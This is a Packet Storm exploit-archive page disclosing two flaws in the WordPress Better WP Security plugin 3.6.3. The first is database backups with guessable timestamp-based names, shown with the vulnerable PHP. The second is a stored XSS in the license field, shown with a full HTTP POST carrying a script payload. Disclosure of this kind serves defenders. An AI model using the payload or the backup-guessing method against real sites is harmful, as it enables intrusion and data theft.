exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Better WP Security 3.6.3 XSS / Disclosure

WordPress Better WP Security 3.6.3 XSS / Disclosure
Posted Feb 15, 2014
Authored by Yashar shahinzadeh

WordPress Better WP Security plugin version 3.6.3 suffers from information disclosure and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, info disclosure
SHA-256 | bafa2024f4c45430b34ad1a7bf7281c235b2ac9d77bc18d543a0ac4ec5aa3b0e

WordPress Better WP Security 3.6.3 XSS / Disclosure

Change Mirror Download
###################################################################################################################################
# Exploit Title: Wordpress Plugin - Better WP Security multiple vulnerability
# Date: 2014 11 Fabruary
# Exploit Author: Yashar shahinzadeh
# Special thanks to Mormoroth
# Credit goes for: http://y-shahinzadeh.ir & ha.cker.ir
# Vendor Homepage: https://wordpress.org/plugins/better-wp-security/
# Tested on: Linux & Windows, PHP 5.3.2
# Affected Version : 3.6.3 (Last)
#
# Contacts: { http://Twitter.com/YShahinzadeh , http://y-shahinzadeh.ir , http://Twitter.com/Mormoroth , http://mormoroth.ir }
###################################################################################################################################

Summary:
========
1. Information Disclosure (Database Backup)
2. Persisted XSS
2. Further Information

1. Information Disclosure (Database Backup):
============================================
The Better WP Security suffers from information disclosure. In backup section, there are two options. Firstly, emailing backup file via email which is secured enough.
Secondly , the backup files can be stored in /wp-content/plugins/better-wp-security/backups/ folder. It's protected by an index, althoguh it's named by a weak random function.

Vulnerable code:

...
...
$return .= PHP_EOL . PHP_EOL;

//save file
$file = 'database-backup-' . current_time( 'timestamp' );
$handle = @fopen( BWPS_PP . 'backups/' . $file . '.sql', 'w+' );
@fwrite( $handle, $return );
@fclose( $handle );
...
...

current_time() function is a Wordpress's function which returns current timestamp. As it can be seen, 'database-backup-' is hardcoded, so guessing or carrying out a brute force attack
isn’t hard.


2. Persisted XSS:
=================
The Better WP Security also suffers from stored XSS. In the premium box, by entering a valid key user can upgrade plugin to premium. Escaping is applied on the inputs.
However, it isn't sufficient to prevent occurring XSS. The key is stored in database within wp_options table. better-wp-security_licensekey holds the input's value. The plugin
reads the key from database, then the key is shown to user and it's triggering the vulnerability. So, submiting "><scrip>alert(1)</script> would be a dimonstration.

POST /wordpress-3.8/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost/wordpress-3.8/wp-admin/admin.php?page=better-wp-security
Content-Length: 154
Cookie: wordpress_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C751462ff973e5134c6754a1f9e632196; wp-settings-time-1=1392116314; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_28c73b7b2dbeccbe781794c02ea85151=admin%7C1392286658%7C0c253ec7ed5976931c8480ab85be8c1f
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=foolic_validate_license-better-wp-security&license=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&nonce=71277a8a19&input=better-wp-security%5Blicense%5D


Stored XSS in administration panel can be leveraged to exploit another administrator (client hacking) or even be a small piece in a chain of attack’s steps.


3. Further Information:
=======================
Further analysis about backup function can be found at my blog, http://blog.y-shahinzadeh.ir

/** Yasshar Shahinzadeh **/
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close